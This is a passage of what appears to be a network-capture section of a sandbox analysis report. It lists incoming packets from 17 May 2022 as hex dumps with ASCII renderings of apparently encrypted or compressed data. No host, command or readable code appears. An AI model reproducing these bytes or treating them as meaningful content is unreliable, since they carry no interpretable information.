93 ae 53 b9 ee 34 1e 5d 8d 62 9f 63 Data Ascii: =7(lkg:UC&ZK]:O>K!rbkG&wGS[{$C;kzS%17}`wXsnCW?Zj1id[#U`WHJZFU3cOlv.NEb8(Wg*/CLPtaL?-.@mjCB{{S4]bc
2022-05-17 14:51:08 UTC	44	IN	Data Raw: b6 90 e7 fb be 3d 84 df 25 39 e0 df 47 93 1e b6 28 63 ff 6c 8a 62 4b 4e c3 8d fb f4 2b 23 5d 29 23 0a 4d c0 bf de af b3 f7 4f 62 82 c5 0e bf 36 9c 47 ac 94 e0 bf b8 f6 64 fc 36 ce 8e b8 04 61 d6 99 d9 a4 c0 aa 11 7b a6 59 27 22 cf 7c 72 a0 64 3b de 5e c0 00 eb d6 54 3d 9e ce 6a 10 c7 f3 6a 58 75 1e a3 9f 5a 1c 50 a0 b2 a2 88 33 c9 5c 85 bb 70 9e c3 51 4d b5 a4 13 89 84 46 16 ff 29 4e f6 20 ed b9 f8 21 f8 84 fb aa ed 4a ba 10 ea cb 03 b6 b4 8d 45 e5 9f 03 ca ff 12 42 d7 c5 c1 5b fe b3 62 0b fe ad d7 3e e2 a8 bb 39 03 d8 53 0a 93 a8 86 0d bf d3 d8 d4 a1 76 26 bf fe f9 d1 3d 2e 7d cb 0b 63 8c 38 52 4e e4 e2 b5 f6 80 45 bc 99 50 21 b4 ac eb 87 af e1 d0 65 f7 10 61 ec 46 53 a4 ff b8 0f 07 9e b2 9e 79 ae 23 60 c3 c3 9b 73 af 27 86 3b c7 27 92 09 6f 82 8b 98 ee Data Ascii: =%9G(clbKN+#])#MOb6Gd6a{Y'"\|rd;^T=jjXuZP3\pQMF)N !JEB[b>9Sv&=.}c8RNEP!eaFSy#`s';'o
2022-05-17 14:51:08 UTC	45	IN	Data Raw: 6e 9b 31 96 26 d1 d1 5e 3d fe 41 19 aa 3e 13 8e 52 31 15 48 af ec 5e c5 b6 e2 98 6a 50 ea 06 6d 0b 0e c5 20 05 17 74 1b a2 78 9b 81 c6 62 84 de 47 29 57 65 e2 31 95 08 ce 64 ea 31 fb ba e9 70 4a b4 3f 95 eb d6 8f 00 2e 40 6d fb 30 d2 52 17 5f 0c 6f a3 74 00 37 ae 15 bd c2 21 26 6e ad 49 9e 60 09 3b c2 ee cd b0 6d 39 44 d0 5b 2a 77 7a a8 a6 80 71 b2 34 6b 1a 1c e7 b9 66 e5 d9 42 27 30 c1 33 01 0e ad 9c 67 12 0a a2 46 91 a0 81 9d 5a 99 c2 37 a4 45 45 a0 bc 2d 19 54 18 3b 78 e3 c5 a9 ee b4 80 3c e1 51 b6 28 8b 49 a0 07 fc 36 3f 7c 88 aa e5 70 0b f7 ae af 77 da f7 8b d5 a8 18 91 35 ae 28 2f f7 04 10 26 66 6a ca 58 b7 bb c0 b6 90 af 76 b3 fb 0c 10 78 38 fc 16 ee ed 3e 59 2f a2 2a 5c 9f 23 c6 9a 5e 87 2c 09 af 65 57 6f 81 7e 10 fe 2b 56 85 dc bf e9 e9 e1 d1 23 Data Ascii: n1&^=A>R1H^jPm txbG)We1d1pJ?.@m0R_ot7!&nI`;m9D[wzq4kfB'03gFZ7EE-T;x<Q(I6?\|pw5(/&fjXvx8>Y/\#^,eWo~+V#
2022-05-17 14:51:08 UTC	46	IN	Data Raw: aa 73 c0 40 ca b4 76 cf 4a ad d7 ac e0 bc d7 8e 1b cf 4b 7b 5e d4 31 07 a9 fb ea e4 fa cc 5d 12 fa fb c3 57 81 0e 11 0e 65 aa 43 8b 34 71 e8 b7 89 3c 4d 90 83 5b 27 d1 12 2e 86 a5 88 27 70 f0 36 73 c6 3c c5 a4 f9 90 15 25 b5 c8 3a 7b c1 9f 4a 08 c7 b3 1b 3e 20 86 f1 a8 bc 93 97 69 a9 96 e9 11 8f 21 19 42 b3 6b 52 b4 7c 34 7f 71 3a 57 d4 fe eb 39 83 08 10 34 ca 75 59 a6 d9 3c 94 53 21 e1 6a 30 5e 2e 19 51 bc 55 da 0f 4e 0f 0e 6c ef 9a 4b 08 24 e6 71 43 93 18 f2 a2 6e d3 df 7b 20 1c 59 d0 6e 8f 68 9a 74 66 50 cb 22 11 56 7d 93 e3 05 91 4b 9b d7 0b 8f 2d 6e 1b d5 07 2b 6e e4 8f ba 11 54 33 a0 21 6f a7 fa 4e 52 45 83 b9 a9 25 26 e4 2a f9 24 e8 b9 70 4a f5 95 32 c6 5b 84 59 13 9f 39 2d 7b 28 b0 04 cf 81 0e 6d 31 95 73 6b 2b 89 33 a7 02 1f 1d 45 42 82 cf 26 9b Data Ascii: s@vJK{^1]WeC4q<M['.'p6s<%:{J> i!BkR\|4q:W94uY<S!j0^.QUNlK$qCn{ YnhtfP"V}K-n+nT3!oNRE%&*$pJ2[Y9-{(m1sk+3EB&
2022-05-17 14:51:08 UTC	47	IN	Data Raw: 31 8f 41 8d 14 36 9a ca b4 b8 22 1f 39 ef 9a f0 9e 1c d0 41 02 01 67 f7 7c 1b 5c f5 36 f2 6d 28 1b 4b 16 59 54 aa 51 48 cc 01 ad 82 d3 6e 62 7a 38 48 b8 59 77 f8 bb 83 fe 88 71 54 f3 ba 07 5e 46 63 33 77 af f3 a8 96 d2 5d 72 76 43 13 41 2a 64 af 1b d4 4d 35 09 6f 95 a1 fe 63 29 78 72 96 0e 13 d2 af a2 46 8d 93 02 51 02 1b f7 39 59 45 a2 4e 6e 56 5a 77 1d 91 eb 14 f3 12 c5 4c ed 45 b8 e4 93 26 b3 4c 2a c2 06 31 a0 74 c3 c7 85 a9 24 44 a3 54 fb 84 9c 56 30 52 82 6e 58 53 87 09 28 0a a8 e2 03 04 22 a7 69 b9 a7 36 a8 d0 76 b0 b0 d6 42 af e4 0b 83 9c 85 d4 36 09 21 11 e2 ca f1 17 cd 8b 68 99 13 32 69 ac 0c 1e 86 fb 43 8d 9f eb 52 29 5c 56 0d 55 9e 73 e6 9d b2 c7 14 b4 23 75 65 fd c7 1e aa 8f 0c 99 b7 6d 2f 69 3c e7 6c 1f be 50 83 95 19 9d 12 d3 81 40 11 35 b4 Data Ascii: 1A6"9Ag\|\6m(KYTQHnbz8HYwqT^Fc3w]rvCAdM5oc)xrFQ9YENnVZwLE&L1t$DTV0RnXS("i6vB6!h2iCR)\VUs#uem/i<lP@5
2022-05-17 14:51:08 UTC	49	IN	Data Raw: 4b 38 47 f6 57 e6 71 af 17 0d 9f 96 05 1d 69 54 5c 61 b5 bf 22 be 15 43 24 74 f6 40 4c c8 c3 47 32 4b 86 0b 38 64 96 79 a8 15 96 35 76 77 87 ca 08 2d 1e 0d 16 39 7d 1e 6c 7e 43 cc f7 fd 6d 85 1b b7 bf 9d 64 91 a0 d8 bd fd 67 7e 0a e9 ca bb b7 09 3e 23 26 8a cf a8 6f 36 ea cf 6e 6c cc 1f 23 f1 08 a7 b5 07 66 6d 1e 64 e5 cd 27 da ac d5 93 2f 3a fa ab 6f 75 68 67 50 c5 d5 d2 f4 95 3d 6b 75 12 b0 2d da 63 32 f8 cf 97 50 25 e4 5c 5e 8f 4a 3e 65 67 e5 18 70 18 59 df d8 cd fa 3a 99 53 49 0c 9e a4 c3 ca 50 44 58 c6 40 39 27 d2 71 2b fe 4a 04 39 e5 68 8e 03 0c 44 11 0e 26 16 76 62 36 a6 e1 60 c2 0a 2e 26 a2 f3 75 e5 d2 9c ab e2 ab 92 3f 01 1f 58 1b cb 7b c1 bd 04 e2 5c 9c f3 95 31 9e cf bc c6 79 71 78 1c 4a 8b 87 7a b2 cd cd 2b bb 4f f6 e3 3c 3c 87 95 d6 53 47 83 Data Ascii: K8GWqiT\a"C$t@LG2K8dy5vw-9}l~Cmdg~>#&o6nl#fmd'/:ouhgP=ku-c2P%\^J>egpY:SIPDX@9'q+J9hD&vb6`.&u?X{\1yqxJz+O<<SG
2022-05-17 14:51:08 UTC	49	IN	Data Raw: bb 71 b4 f7 df 91 22 73 a4 06 ba 2d 7b 17 1f 49 64 67 12 5f 45 55 07 9c 1d 95 50 3d 5a c4 86 1f 1c 0d df b6 c9 93 b6 3a dc 83 36 02 20 7d 38 4b 46 1b 95 4d 84 24 53 03 af d2 5b c6 b8 58 f3 01 93 79 60 2d 0f 9f 89 1e 52 20 1f 07 77 86 5e 07 93 24 41 38 53 d9 1d 6d e5 46 fa 73 d3 8a bb 11 66 a4 8c 52 3b 04 c5 4d 5f 4b 93 b6 3f 1a a5 50 9c f4 a5 2b 5b 2a 88 c1 ba a3 0d c9 57 e3 4f c3 0f e1 46 8c 89 d2 fe dd 64 6d ba d4 7b 54 30 df cb 83 bf 3b 7b 98 14 b0 3b 92 d8 a6 97 fd 48 54 86 95 99 07 3b 78 1e 75 90 9c cc c4 0b 59 e2 89 8b 6e 96 cf 3f 61 9d 15 4f 99 8d 4f f6 21 7e 87 d1 dc 14 7e aa 78 fe 03 a7 bd 75 9f 94 dd f4 95 43 bd e2 7a 2d fd 0c d6 b8 32 e0 9b ad f4 59 ae d7 85 41 65 9c a0 3b 7d e7 ea 0a 07 c7 de 3e 56 62 82 1a 27 33 67 bd 12 3f c1 6c 51 b2 83 91 Data Ascii: q"s-{Idg_EUP=Z:6 }8KFM$S[Xy`-R w^$A8SmFsfR;M_K?P+[*WOFdm{T0;{;HT;xuYn?aOO!~~xuCz-2YAe;}>Vb'3g?lQ
2022-05-17 14:51:08 UTC	51	IN	Data Raw: 8e 2f 8a a4 cc 55 0b c3 78 90 ae 5d 0e 7f e6 1c 1d 23 2b 4c 51 7d 37 5b 97 69 49 67 83 86 50 83 d5 e0 ac 0f f1 d4 29 e5 85 3a d8 d3 92 87 4c 71 c1 23 51 b4 a7 42 b0 30 b1 7c dc d5 ff 35 c6 37 b1 27 5d 6d 2f 18 13 0d f2 07 f1 cc dd ff 06 49 67 b2 a2 2b 27 0a a8 08 75 ba 61 39 24 1b a5 18 75 8c 13 09 d2 2a 75 05 8a 07 5c 49 6a 77 be 5d e4 ad 94 d8 28 2b a2 e8 29 11 bb 09 12 15 7d 92 4b 55 b5 ee b1 a2 c0 ef 4e d6 19 20 99 3b 89 99 ff 27 05 d9 d3 4e 18 6a 35 25 e0 93 e5 a0 a4 35 af 47 42 30 d5 87 7a 28 86 f6 4f 8b 7d 82 15 31 24 39 aa 16 aa b6 82 74 1c f6 bc f9 b8 c5 0f 3c 04 e2 5e aa 37 77 b7 3c 8b bf 6c 85 ec 5a 66 37 50 1d 3f 3e d1 09 fb 27 6e f8 a2 ce 39 e2 1b cf 7a c7 08 ae 6d 02 dc 4b e5 88 c5 eb 4a 02 db b3 53 89 0c b9 ac 82 f6 8a 05 5e 0f e2 32 0f 1c Data Ascii: /Ux]#+LQ}7[iIgP):Lq#QB0\|57']m/Ig+'ua9$u*u\Ijw](+)}KUN ;'Nj5%5GB0z(O}1$9t<^7w<lZf7P?>'n9zmKJS^2
2022-05-17 14:51:08 UTC	52	IN	Data Raw: cf ca 84 00 12 72 dd 77 6c 5e 61 33 87 04 0c 18 55 53 c8 a4 85 9e aa 7b 89 3a 4c d6 af 43 b1 bb 45 6f d8 7a 36 54 bf 0d 20 a7 bc f9 7e 20 d8 dd 5b 4f 6f 77 4d de ba 1a 88 6e 94 fc 5e 47 b5 e6 53 09 de c5 a8 19 27 23 e7 8d 93 3f a1 fa d6 6c 64 85 f3 64 7c 15 f1 27 e9 1e 10 85 9f 04 81 7a d3 6b 6c 3e 86 5d 14 d4 a3 3d eb 46 79 a8 ef 1e 99 55 4f 17 da 67 eb 5e 44 b1 d4 3b 71 50 62 2b 61 0b 14 cf 66 00 50 4e 1d e3 d1 9e d8 c4 64 84 7c 3d 71 57 62 ab 9f 90 08 09 63 ea 8d f6 e3 e9 76 4a 72 3a cc eb d0 8f d3 2b 19 6d fd c8 31 57 4e a7 0b 6f 4f 58 59 37 a8 53 52 c7 79 35 58 ab bd 6e 38 09 3d 58 ef cb f8 6f 44 d8 dd 5d 77 4e cb a9 b5 86 2a c9 8a 6b 03 1e 87 79 60 e5 c6 46 05 84 c7 33 23 86 43 9e 1a a3 4a a4 0f ce a3 85 93 74 3d c5 25 ae 38 6e e1 9c 3c 1d dc 65 fb Data Ascii: rwl^a3US{:LCEoz6T ~ [OowMn^GS'#?ldd\|'zkl>]=FyUOg^D;qPb+afPNd\|=qWbcvJr:+m1WNoOXY7SRy5Xn8=XoD]wN*ky`F3#CJt=%8n<e
2022-05-17 14:51:08 UTC	53	IN	Data Raw: 58 c6 c4 60 1f 9e 94 a2 00 c5 81 7b a6 5f 15 70 c7 6b 23 af 23 32 86 e9 f2 c0 cb bf 6c ff 80 e6 5c 11 92 f5 cf 2c f5 1f b9 e5 47 26 1c a0 7b a9 d6 31 51 c7 86 ba 64 8d ae 52 48 99 64 03 da 86 a9 79 30 29 5e f0 a6 90 1a f9 e8 ff fa 9a 40 ed 43 65 00 c0 6a 01 b6 b4 44 44 b3 9f 81 a4 7c 3a 14 d7 79 d2 40 ce 7f 63 e4 fe 43 d7 ab e3 b8 aa d7 09 cf 4f b0 4b ff 86 f6 a9 fc e9 e2 87 7c 4e 12 fe 30 d4 7c 38 fd 11 09 62 96 57 ad 5c e4 e8 7e 8c 66 45 49 9d 50 24 d7 7d aa 94 a5 8e c5 65 a1 1a 95 c4 46 52 a4 f9 e4 0b 2c 99 06 32 21 ae dd 4b 88 c0 99 08 ae 34 86 3f 61 bd ca 09 94 a9 84 9b fc 8f f1 00 5c 9e 8e 75 d4 78 5b db 73 3b 51 c3 d3 db 1f 80 1e 0e 18 d8 7f 4a a0 a6 e1 94 63 3f f6 47 ef 79 59 1f 71 1a 5f db 19 58 2f 8f 6c ef 93 63 65 2e c3 a2 4f b9 c2 e1 34 51 34 Data Ascii: X`{_pk##2l\,G&{1QdRHdy0)^@CejDD\|:y@cCOK\|N0\|8bW\~fEIP$}eFR,2!K4?a\ux[s;QJc?GyYq_X/lce.O4Q4
2022-05-17 14:51:08 UTC	54	IN	Data Raw: 5a d0 6e 71 4c b4 0e f9 6c d7 89 00 4f 2c a9 fb ce d3 f7 78 63 0d 69 a3 9c 6f f3 ae 42 bd 1f 4f 43 5a ba 49 92 0e 7f 3f 49 ee d8 d1 19 46 d9 d0 32 5f fe cc af a6 ad 01 0e 8c 7a 1a 85 ac f6 67 f4 d9 f9 2e 21 c5 22 05 55 68 34 18 b2 0a 53 30 67 a1 94 c4 7f 03 69 33 bf 5c 41 e6 2e 2a 0c 56 26 fc c4 e7 d0 ab f4 76 47 38 f4 57 e3 05 4d 4d bc 05 03 38 31 7c 9e ae fa 5e 18 db af 89 64 ae 26 3a c3 a8 79 e5 e4 1a 3e 2f 72 fc 63 15 2a 41 71 24 58 72 ab 07 71 d9 b6 98 09 0e 7a 98 fc fc 04 f9 81 4f d4 25 88 38 26 1e 6f e8 64 57 e8 ac 33 1e 63 57 e2 6c 6c 11 f8 2d f1 11 82 97 e1 cf 06 51 9b 6d 0a 3f 54 c5 9d 0b b8 bf b9 ee 87 c0 85 c7 ed 46 bd 16 ce b8 f1 fb 3c 0a 98 e2 1f dc 93 5b cd 25 a7 f0 28 85 a6 74 98 20 4d 79 32 62 e0 6b 81 cf c6 2a de 91 6e f8 29 88 50 bb ac Data Ascii: ZnqLlO,xcioBOCZI?IF2_zg.!"Uh4S0gi3\A.V&vG8WMM81\|^d&:y>/rcAq$XrqzO%8&odW3cWll-Qm?TF<[%(t My2bk*n)P
2022-05-17 14:51:08 UTC	56	IN	Data Raw: 88 14 97 ed 05 63 d8 47 4b 88 f9 94 18 2c 9f cf 58 5d ab 26 55 08 95 b5 08 0e 27 86 39 a8 0b b7 0c 68 b6 87 0a c0 8f 21 13 5c 98 47 77 93 1f 5b fa 70 fe 7d c3 d3 cf 1f 86 1f 3c 59 ff 76 6b a5 a3 dc 94 53 2b f6 41 26 e3 19 32 78 39 54 9a 24 58 4f 9b 6c e9 9a 87 27 2b cc 80 4f c4 ef e1 a4 45 34 d0 ab 7c 3a 5c d3 62 c9 d0 b7 7e 4e a2 ca 24 1b 78 18 a1 e2 22 e0 f0 b6 d7 09 9c 28 6a 0a 7b 4e ea 6f c3 89 85 3b 45 37 de f1 68 a7 2b 46 72 43 b5 bd a6 f4 26 e4 20 d2 1f e2 4f 11 54 f5 b2 36 92 36 84 59 11 b7 19 26 38 05 a1 f7 e6 81 98 3a 72 95 73 69 3c c9 62 80 05 0d 30 47 8f a9 a0 80 9a ac 1d dd 49 0a ef bc 6a c5 43 15 6b ca 7a a2 36 c2 97 15 c0 11 d7 00 2c f1 dd 99 4b 36 11 48 77 57 5c d0 44 92 70 a2 43 ec e6 55 6f 06 cb d9 1c 20 0e 03 21 41 3b a7 fa c6 0f 9a b2 Data Ascii: cGK,X]&U'9h!\Gw[p}<YvkS+A&2x9T$XOl'+OE4\|:\b~N$x"(j{No;E7h+FrC& OT66Y&8:rsi<b0GIjCkz6,K6HwW\DpCUo !A;
2022-05-17 14:51:08 UTC	57	IN	Data Raw: 66 78 b8 12 a6 c0 7c 2f 26 8e 38 77 8a 2e 48 22 13 85 71 72 6f 35 57 6b ee d3 07 fe f8 14 d7 c6 cd f7 67 97 d3 5f 6d 0c 2e 09 44 f8 72 bc e0 c0 32 12 c0 83 c7 78 d3 7a 9f 89 3c 82 f3 7d ff 9f 62 13 59 e6 4f 9b 54 f1 f7 5f e4 f0 7c e9 a5 38 7c 64 f3 ce b7 b6 42 92 cc e4 a8 49 fd 7f 08 17 2f d9 24 4a f4 b7 63 ac 5c 37 0b 47 4b d1 5a 41 c4 28 5e e7 92 be 20 c9 f2 2d 1f f6 d8 6b bc 7b d9 17 07 d4 46 d2 49 b3 47 cb 06 e7 80 64 41 5b 2f 16 8a 18 ca a7 ed 8a 89 f4 cc 0a 34 c7 1c 2b 72 ca 43 bf 90 f1 aa 94 45 36 c4 36 a4 88 1b 92 60 d6 9f db b3 c4 2c c8 ef a4 36 f9 95 91 6b 2a ac 6c 23 50 b8 b6 5c c9 d4 64 f9 d7 e6 95 10 c7 e4 19 95 31 bb ab 88 7f 90 4b a0 b2 a8 83 27 b2 c2 c0 1e 76 e3 c6 18 10 99 ad 02 8c 90 41 28 76 84 4c 9f 22 32 42 f9 21 fe ac 8c aa 70 05 14 Data Ascii: fx\|/&8w.H"qro5Wkg_m.Dr2xz<}bYOT_\|8\|dBI/$Jc\7GKZA(^ -k{FIGdA[/4+rCE66`,6k*l#P\d1K'vA(vL"2B!p
2022-05-17 14:51:08 UTC	58	IN	Data Raw: f9 89 06 95 66 65 18 84 59 11 31 67 de 61 45 98 02 ce ed 77 14 72 9d 73 fa 5a ff 52 5e 03 f8 18 a7 20 87 a0 80 9a 2a 63 2d 24 4a d2 49 43 39 cc 3b 6b c2 7a 31 50 f4 68 cb a4 e5 fd 68 50 de dd 99 4b b0 6f b8 c4 17 1e 25 6e 16 88 8d 43 e4 e6 c6 09 60 a0 08 1a d5 23 e7 fd 6e 3b a7 fa 55 69 0c e0 08 67 a0 10 18 56 fb 1e 55 80 f1 00 b6 18 63 6d 67 3a c0 28 4a d1 5e 39 7e 46 bd cf ef 19 67 55 a3 67 27 63 ed 5e 45 ac 7e 21 0c 50 16 2e a0 7e 0e cf f6 05 ae 4e 5e 80 b5 98 7b c4 8a f1 de 38 28 57 e3 b2 c2 8f 6f 09 9f ea 35 85 ba e9 78 4a 27 3f e0 88 2f 8c fa 2e 14 1b fb c8 d3 52 91 bf fe 75 c4 5d fa 37 de 25 bd c2 28 35 cd ab ec 08 98 0a c1 58 1e bb a1 6f 42 d8 53 43 dd 54 aa a9 5c 80 6f be 8c 6b 12 18 5d 79 53 81 da 44 a6 84 a5 4b 05 80 12 9e 9f a3 6f c6 45 cc 5f Data Ascii: feY1gaEwrsZR^ *c-$JIC9;kz1PhhPKo%nC`#n;UigVUcmg:(J^9~FgUg'c^E~!P.~N^{8(Wo5xJ'?/.Ru]7%(5XoBSCT\ok]ySDKoE_
2022-05-17 14:51:08 UTC	60	IN	Data Raw: f6 74 53 92 9c 43 bf 90 e7 bb c5 80 8c fb 05 cc 20 73 c4 60 d6 9f cd a2 51 b9 72 79 97 5e 21 c5 c7 6b 2a ac 7a 32 95 95 0b c2 fa be 6c 48 80 e6 95 10 d1 f5 ec 50 8c 1d 98 e4 47 91 1c a0 b2 a8 95 31 97 ba 7c b8 45 8c ae e5 48 99 ad 02 9a 86 14 04 ca 2b 7f f1 ba 27 1a f9 21 fe ba 9a 33 90 b9 67 21 c1 02 b6 b6 b4 8d 45 f3 9f a4 d9 c3 39 35 d6 31 65 40 ce b6 62 a4 fe a0 a9 c4 e0 99 ab 27 bd cf 4f 79 4a bf 86 56 d7 93 ea c3 86 30 fb 12 fe f9 d5 3c 38 9b 6f 36 61 b7 56 f9 e9 e4 e8 b7 8d 26 45 65 e3 3f 27 f6 7c 72 21 a5 8e 0c 64 e1 1a 7f bb 2b 51 95 f8 54 be 2c 99 cf 33 6f ae 46 34 1d c4 a8 09 e2 81 86 3f a8 bc 85 09 cc d6 9e 9f dd 8e 11 b4 5c 9e 47 74 b0 60 a8 c0 17 3a 62 c2 9f 68 1f 80 1f 0f 6a d8 7a cb ba a2 c2 95 8b 8c f6 47 26 78 2a 1f 0c 9b 68 d8 3c 59 2f Data Ascii: tSC s`Qry^!kz2lHPG1\|EH+'!3g!E951e@b'OyJV0<8o6aV&Ee?'\|r!d+QT,3oF4?\Gt`:bhjzG&xh<Y/
2022-05-17 14:51:08 UTC	61	IN	Data Raw: 4c dd 84 de 38 28 56 65 aa a8 f2 08 7c 64 52 f1 f3 ba e9 70 4c b4 0f 0c 8c d6 fa 01 ca 81 6d fb c8 d3 53 17 eb 94 00 a5 28 01 f7 6c 53 bd c2 20 34 5e 0b d0 11 67 7e 3a 40 2d cd a1 6f 42 d9 d0 b7 b7 cd cb d1 a7 80 73 c9 8c eb 1a 09 fe 41 fc 69 df 39 5d d0 02 33 05 80 1a 9f 14 5f 90 3f 43 b7 a4 f9 07 72 70 c3 37 af 54 4c 0e fd 2e 9d 57 63 8f 78 e3 c2 ab 93 1d 73 26 0b 57 1e 77 8a 49 aa 05 fd 4d c8 7f 76 8f 78 2e 90 db b9 89 51 d8 8f 3a 93 ab 9a b1 b0 1a ae 2e f3 8a a7 15 3f 41 86 51 5c 50 14 01 17 ae 72 98 1f 0e 68 ef 3e e4 e1 e3 2e 38 f6 27 8e 38 77 9c 2d ed 24 54 7b 0f c0 1d ee 56 6b ee d3 11 fd 2d 12 90 40 b0 09 cf 48 d2 5f 6d 0c 3f 0a 41 ff 0a 7e 9d 7f 6c d3 c1 37 04 78 c2 7a 16 ce a6 73 8b 1a 0f 5c 63 c3 9a e6 5e 9b a5 b6 7d b1 1d 97 f4 29 a4 38 b8 64 Data Ascii: L8(Ve\|dRpLmS(lS 4^g~:@-oBsAi9]3_?Crp7TL.Wcxs&WwIMvx.Q:.?AQ\Prh>.8'8w-$T{Vk-@H_m?A~l7xzs\c^})8d
2022-05-17 14:51:08 UTC	62	IN	Data Raw: d2 a0 e8 b7 8c 30 ac f8 9d 53 24 c7 48 af 87 a5 8f 0c e5 b2 1a 62 c5 47 9e e1 f9 94 19 2c d0 89 33 79 af 27 ac 2c c1 99 09 0e d2 c0 3f a8 bd 93 78 2e a9 87 98 ec 02 66 13 5c 9f 47 ad f1 78 5b d8 70 cf 16 c3 d3 cc 1f 91 57 0f 7c d9 77 16 ed a7 f1 95 53 82 be 47 26 7a 3c da 31 1b 54 db 09 49 06 9b 6c ed 9a 4d 4b 2e cd a2 4f c1 8b e1 a4 44 34 0f e2 63 1c 58 d2 63 83 68 9a 7c 4e e3 80 22 1b 2e 3e 1e a9 07 e0 0a 9b 7e 43 9c 28 6d 0a 25 22 8d 6f e5 89 e8 5e 45 37 dc f1 33 ec f0 60 14 43 3b f6 c6 da 27 e4 d5 99 19 fa be 0b 9b b9 95 36 17 18 d9 15 11 b7 7e 2d d2 6e 98 f6 cf 81 f1 58 72 95 71 69 4b 87 33 a7 01 0c 45 0a 53 87 a2 80 e3 e1 7b de 3d 2d 47 f0 43 c5 be 3b 8a 87 7a a2 52 c1 f4 7f a7 11 fc 00 11 90 dd 99 4a 36 1a 05 de 70 1c d1 e7 dc fc 8d 40 ec 43 1b 09 Data Ascii: 0S$HbG,3y',?x.f\Gx[pW\|wSG&z<1TIlMK.OD4cXch\|N".>~C(m%"o^E73`C;'6~-nXrqiK3ES{=-GC;zRJ6p@C
2022-05-17 14:51:08 UTC	63	IN	Data Raw: 15 3c 42 c0 4e 17 72 bd 03 90 97 f9 98 1f 0b 6b bb b3 fc 12 f8 c0 8c f4 26 8e 39 77 9c a2 ed 62 56 85 62 fe 1b 65 56 6b 76 5f 11 fe 2c 54 77 4a 92 f7 ce c7 e3 d2 6d 0c 3e 09 29 34 09 be be c0 de ce c0 83 c6 78 c2 f4 16 c8 bf 80 dd f3 0f ce 63 13 c1 68 5e 9b a4 b0 91 d3 80 f0 f5 bb 95 b7 7c 64 e3 ce 92 7b ca 90 ab e4 dc 94 fd 7f 09 17 2a 49 e5 08 65 b5 63 3c 30 64 0a 47 f7 41 4b 41 c8 6b 22 76 fb be 39 9d 46 bc 1f f6 c8 6b a5 aa 9d 17 6f d4 36 14 49 b3 46 cb 3f 74 d9 27 04 5b 3a 85 0a 4d cb a7 3d 1e 98 f4 44 49 3c 52 75 2b 37 9c e3 2a 90 f1 b9 94 40 e0 f8 34 cc 88 df 52 60 d6 9d db 86 52 c5 8b 7b a6 2f 6f 61 c7 69 2a 20 fa 32 50 ea f2 69 5d bf 64 ec 80 06 03 10 c7 f7 19 d0 e3 1e a9 e4 7f 7c 8b a0 b2 a9 83 a5 25 c7 85 ba 74 41 51 40 48 98 ad 22 14 86 41 7b Data Ascii: <BNrk&9wbVbeVkv_,TwJm>)4xch^\|d{Iec<0dGAKAk"v9Fko6IF?t'[:M=DI<Ru+7@4R`R{/oai* 2Pi]d\|%tAQ@H"A{
2022-05-17 14:51:08 UTC	65	IN	Data Raw: 01 f0 19 17 b0 88 25 cf b3 27 9b 89 4f 18 8b bd 8d 23 92 95 67 12 96 2d f0 18 26 7c b0 67 b5 98 67 cd 41 18 88 72 04 70 81 46 6c 33 eb 00 91 b1 db 53 cb a0 27 33 c7 7b 82 3e de c8 da 43 a1 bf c8 71 ad 7a c6 50 8d a0 3c ad 4d fd 4c 8d d0 d7 c0 4e 99 de 5f d4 14 1e 67 c7 88 f6 e1 43 52 4f 75 03 71 c1 3d b0 4a 23 67 89 b6 92 9d f0 f7 69 78 28 b1 64 20 10 ff 8a c2 1f 04 82 e4 a9 f4 7a c2 6e 0c 93 08 5d 16 d1 e8 90 f7 4c 64 ad e1 00 f8 55 5f 12 6b ca e3 54 42 b4 71 92 6e 51 6d 2e 00 a1 0b ce 77 05 1c e4 7c e3 c5 9b b2 6e 45 85 57 38 6c fd 48 ab b8 95 26 8c 60 eb b8 f3 e1 43 75 4b 3d 3f f3 41 e4 8e 79 2e 31 c7 9c c8 aa 52 93 0d 6a 6f df 5d 2e 9e 94 59 c1 c2 b7 9f 25 a1 78 69 92 13 3e 59 b7 c8 01 c5 d2 da 09 59 dd 54 54 a3 b7 83 dd 63 28 61 c3 1a 6c d3 07 e3 20 Data Ascii: %'O#g-&\|ggArpFl3S'3{>CqzP<MLN_gCROuq=J#gix(d zn]LdU_kTBqnQm.w\|nEW8lH&`CuK=?Ay.1Rjo].Y%xi>YYTTc(al
2022-05-17 14:51:08 UTC	65	IN	Data Raw: 29 6a 53 57 42 d1 3c 05 b9 1b 8e 7e ba db d7 a5 26 f3 f8 ff 61 f2 f6 25 0e 90 03 74 f2 54 51 a5 7a 42 ea 6e 7f 36 cb 01 5f cf 36 e3 fe cf 90 a0 ce 98 9a a6 d2 1f f8 7e 18 c4 01 9e 34 e5 04 ca 63 19 dc 24 96 e2 46 e2 bd 37 29 01 95 2d 9f 10 a2 65 9c 6a 17 93 ce 15 4c 32 1f 5d 24 a3 e9 65 df ef fb bb df df f7 48 49 d4 00 ff 65 a7 f1 f8 6c 32 ff b4 05 54 10 b4 8c 37 eb 2f 99 f5 33 2d 29 15 fb 90 80 73 c6 c7 a2 a2 0b a1 bc 4a 7a 81 b1 2d f6 ae b2 df cd 37 d7 bc 4a c7 9b 96 07 c8 b3 a3 69 6c 0c 33 6e 10 b3 ad 21 df 1c 98 1c 9b c5 46 b7 75 43 7c ad 9f 95 88 25 41 2f 58 50 00 5c ed d6 2c 7a 06 f9 c3 e3 aa a3 c3 11 34 9e f0 a5 51 e3 16 cd fb b7 50 ff cf de 9e 1b 9e ff 3c d1 99 34 4a 4f f3 d6 e0 2f 08 95 22 a5 9e 4c 33 bb 8a 95 e0 67 c6 07 20 39 65 11 e9 dd 16 03 Data Ascii: )jSWB<~&a%tTQzBn6_6~4c$F7)-ejL2]$eHIel2T7/3-)sJz-7Jil3n!FuC\|%A/XP\,z4QP<4JO/"L3g 9e
2022-05-17 14:51:08 UTC	67	IN	Data Raw: 44 50 d9 85 34 62 c7 7b f7 ca 14 31 92 79 ee cc a5 b9 5a e2 02 9b f1 1b 12 5d 01 f2 4c 11 c2 38 a5 61 55 7f b5 e7 db 94 6d 55 76 08 e4 7b dd a6 9e d9 3c 0d f9 a9 62 bf f9 64 f5 ef 3b c2 92 44 2e da 63 f4 97 be e0 34 c8 27 73 f6 54 c2 09 38 f1 17 f9 7e aa 89 50 b5 b4 d1 39 f4 90 27 f6 41 21 16 f3 48 39 bd 21 98 e9 f1 b6 53 e8 c6 04 2e de 80 e5 bf b1 f4 48 8e 46 66 59 30 3e 92 13 d7 b9 d2 6a 6a 77 d7 14 8f 70 14 84 ea d8 c3 98 30 59 7f 9b 54 fd 40 5d cb 16 60 c8 32 1a 86 c1 c3 06 03 d0 66 c7 ad 16 65 37 08 69 b6 bc 31 ad b2 